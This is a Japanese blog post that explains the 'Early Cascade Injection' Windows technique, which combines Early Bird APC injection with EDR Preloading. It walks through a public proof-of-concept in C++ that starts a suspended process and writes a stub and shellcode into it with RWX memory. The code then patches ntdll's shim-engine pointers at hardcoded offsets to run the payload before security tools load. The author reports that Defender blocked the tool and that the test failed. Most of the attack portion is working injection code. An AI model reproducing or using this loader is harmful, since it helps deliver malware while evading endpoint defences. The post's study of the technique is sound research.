見出し画像

#165 Early Cascade Injection


最近、新しいインジェクション手法が公開され、話題となっていました。その名もEarly Cascade Injection。Early Bird APC InjectionとEDR Preloadingを組み合わせて、よりステルスにインジェクションできたよという触れ込みでした。


概要

Early Bird APC Injection

Early Bird APC Injectionについては、こちらの記事で紹介しました。

プロセスが起動してEDRの監視が始まる前に、APCキューに攻撃コードを埋め込んでおくという手法です。当然、EDR側もAPCキューの監視を強めているので、ばれる可能性があります。

EDR Preloading

EDR Preloadingについても記事にしました。

EDRがロードされる前に実行される処理を悪用して、EDRを無効化するテクニックです。(あんまりよくわかってませんが)Loader Lockがあるため、任意のDLLが読み込めずなんでもできるわけではありません。

Early Cascade Injection

上記二つの手法をいいとこどりしているのがこれです。流れは以下のようになります。

  1. SUSPENDED状態のプロセスを立ち上げる。

  2. プロセスにスタブとペイロードを書き込む。

  3. g_pfnSE_DllLoadedとg_ShimsEnabledを書き換える。

  4. プロセスを実行する。

プロセスが実行されると、EDR-Preloadingでスタブが走って、APCキューにペイロードが載せられます。そののち、ペイロードが発火します。

PoC

公式のPoCはありませんが、ブログをもとに実装されたものがありました。/

これを紐解いてみようと思います。

このプログラムは、実行ファイルのパス(ダミープロセスを立ち上げるために使う)とシェルコードへのパスを渡して実行します。

// Main.cc 
int main( int argc, char** argv ) {
    BUFFER Payload = {};

    if ( argc <= 2 ) {
        printf( "[-] Not enough arguments\n" );
        printf( "[*] Example: %s [process.exe] [shellcode.bin]\n", argv[ 0 ] );
        return -1;
    }

    if ( !FileReadA( argv[ 2 ], &Payload.Buffer, &Payload.Length ) ) {
        printf( "[-] Failed to read file %s", argv[ 2 ] );
        return -1;
    }

    printf( "[*] Process: %s\n", argv[ 1 ] );
    printf( "[*] Payload @ %p [%d bytes]\n", Payload.Buffer, Payload.Length );

    CascadeInject( argv[ 1 ], &Payload, nullptr );

    printf( "[*] Finished\n" );

    return 0;
}

CascadeInject関数で、インジェクションが行われます。まず、リモートプロセスを起動します。

NTSTATUS CascadeInject(
    _In_ PSTR    Process,
    _In_ PBUFFER Payload,
    _In_ PBUFFER Context
) {
    PROCESS_INFORMATION ProcessInfo       = {};
    STARTUPINFOA        StartupInfo       = {};
    PVOID               Memory            = {};
    ULONG               Length            = {};
    ULONG               Offset            = {};
    ULONG               Status            = {};
    PVOID               SecMrData         = {};
    PVOID               SecData           = {};
    PVOID               g_ShimsEnabled    = {};
    PVOID               g_pfnSE_DllLoaded = {};
    UINT_PTR            g_Value           = {};

    if ( !Process || !Payload ) {
        return STATUS_INVALID_PARAMETER;
    }

    //
    // prepare and start a child process
    // in a suspended state as our target 
    // 

    RtlSecureZeroMemory( &ProcessInfo, sizeof( ProcessInfo ) );
    RtlSecureZeroMemory( &StartupInfo, sizeof( StartupInfo ) );

    StartupInfo.cb = sizeof( StartupInfo );

    if ( !CreateProcessA( nullptr, Process, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &StartupInfo, &ProcessInfo)) {
        printf( "[-] CreateProcessW Failed: %lx\n", GetLastError() );
        Status = STATUS_UNSUCCESSFUL;
        goto LEAVE;
    }

 起動したプロセスにペイロードを書き込むためのメモリを確保します。

    //
    // allocate memory in the remote process 
    //

    Length = sizeof( cascade_stub_x64 ) + Payload->Length;
    if ( Context ) {
        Length += Context->Length;
    }

    if ( !( Memory = VirtualAllocEx( ProcessInfo.hProcess, nullptr, Length, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) ) {
        printf( "[-] VirtualAllocEx Failed: %lx\n", GetLastError() );
        Status = STATUS_UNSUCCESSFUL;
        goto LEAVE;
    }

続いて、g_ShimsEnabledとg_pfnSE_DllLoadedの位置を特定します。これは、アドレスのオフセットがハードコードされていますが、Windowsバージョンによっては違う可能性があります。

    //
    // resolve the g_ShimsEnabled and g_pfnSE_DllLoaded
    // pointers in the current process which should reflect
    // in the remote process as well (or not).
    // Consider this a hacky solution lol. 
    //
    
    SecMrData = MmPeSectionBase( GetModuleHandleA( "ntdll.dll" ), (PCHAR) ".mrdata" );
    SecData   = MmPeSectionBase( GetModuleHandleA( "ntdll.dll" ), (PCHAR) ".data"   );

    g_ShimsEnabled    = C_PTR( U_PTR( SecData )   + 0x6cf0 );
    g_pfnSE_DllLoaded = C_PTR( U_PTR( SecMrData ) + 0x270  );

    printf( "[*] g_ShimsEnabled   : %p\n", g_ShimsEnabled    );
    printf( "[*] g_pfnSE_DllLoaded: %p\n", g_pfnSE_DllLoaded );

シェルコードが実行されるように、スタブをセットアップします。cascade_stub_x64は、EDR-Preloadingで実行される処理(アセンブリ)で、NtQueueApcThreadを使ってAPCキューに任意の処理を追加します。

    //
    // update the stub and include the g_ShimsEnabled,
    // MmPayload, MmContext and NtQueueApcThread pointers 
    //

    g_Value = U_PTR( Memory ) + sizeof( cascade_stub_x64 );
    memcpy( &cascade_stub_x64[ 16 ], &g_Value, sizeof( PVOID ) );

    memcpy( &cascade_stub_x64[ 25 ], &g_ShimsEnabled, sizeof( PVOID ) );

    g_Value = U_PTR( Memory ) + sizeof( cascade_stub_x64 ) + Payload->Length;
    if ( !Context ) {
        g_Value = 0;
    }
    memcpy( &cascade_stub_x64[ 35 ], &g_Value, sizeof( PVOID ) );

    g_Value = U_PTR( GetProcAddress( GetModuleHandleA( "ntdll.dll" ), "NtQueueApcThread" ) );
    memcpy( &cascade_stub_x64[ 49 ], &g_Value, sizeof( PVOID ) );

リモートプロセスのメモリに、スタブとシェルコードを書き込みます。

    //
    // write stub, payload and context into the allocated memory 
    //

    if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), cascade_stub_x64, sizeof( cascade_stub_x64 ), nullptr ) ) {
        printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
        Status = STATUS_UNSUCCESSFUL;
        goto LEAVE;
    }

    Offset += sizeof( cascade_stub_x64 );
    if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), Payload->Buffer, Payload->Length, nullptr ) ) {
        printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
        Status = STATUS_UNSUCCESSFUL;
        goto LEAVE;
    }

    if ( Context ) {
        //
        // if specified a context then write the context
        // into the remote process memory as well 
        //
        Offset += Payload->Length;
        if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), Context->Buffer, Context->Length, nullptr ) ) {
            printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
            Status = STATUS_UNSUCCESSFUL;
            goto LEAVE;
        }   
    }

g_ShimsEnabledとg_pfnSE_DllLoadedを書き換えます。そして最後に、プロセスを起動します。

    //
    // patch the remote process pointers and enable the shim engine
    //

    g_Value = TRUE;
    if ( !WriteProcessMemory( ProcessInfo.hProcess, g_ShimsEnabled, &g_Value, sizeof( BYTE ), nullptr ) ) {
        printf( "[-] WriteProcessMemory Failed: %lx\n", GetLastError() );
        Status = STATUS_UNSUCCESSFUL;
        goto LEAVE;
    }

    g_Value = U_PTR( SysEncodeFnPointer( Memory ) );
    if ( !WriteProcessMemory( ProcessInfo.hProcess, g_pfnSE_DllLoaded, &g_Value, sizeof( PVOID ), nullptr ) ) {
        printf( "[-] WriteProcessMemory Failed: %lx\n", GetLastError() );
        Status = STATUS_UNSUCCESSFUL;
        goto LEAVE;
    }

    if ( !ResumeThread( ProcessInfo.hThread ) ) {
        printf( "[-] ResumeThread Failed: %ld\n", GetLastError() );
        Status = STATUS_UNSUCCESSFUL;
        goto LEAVE;
    }; 

    Status = STATUS_SUCCESS;


検証

実際にツールを動かしてみたところ、Windows Defenderにブロックされました。公開されているツールはすでに対策されているようですね。実行時に検知されたので、ヒューリスティックな検知だと思います。g_ShimsEnabledを書き換えるようなところは結構あやしまれそうですし、仕方ないかもしれません。

Windows11とWindows10、Defenderをオフにして再度試してみましたが、インジェクションに失敗しているようでした。やはり、ちょっと調整が必要そうです。本腰入れてデバッグしないとだめそうなので、また今度….

EOF


いいなと思ったら応援しよう!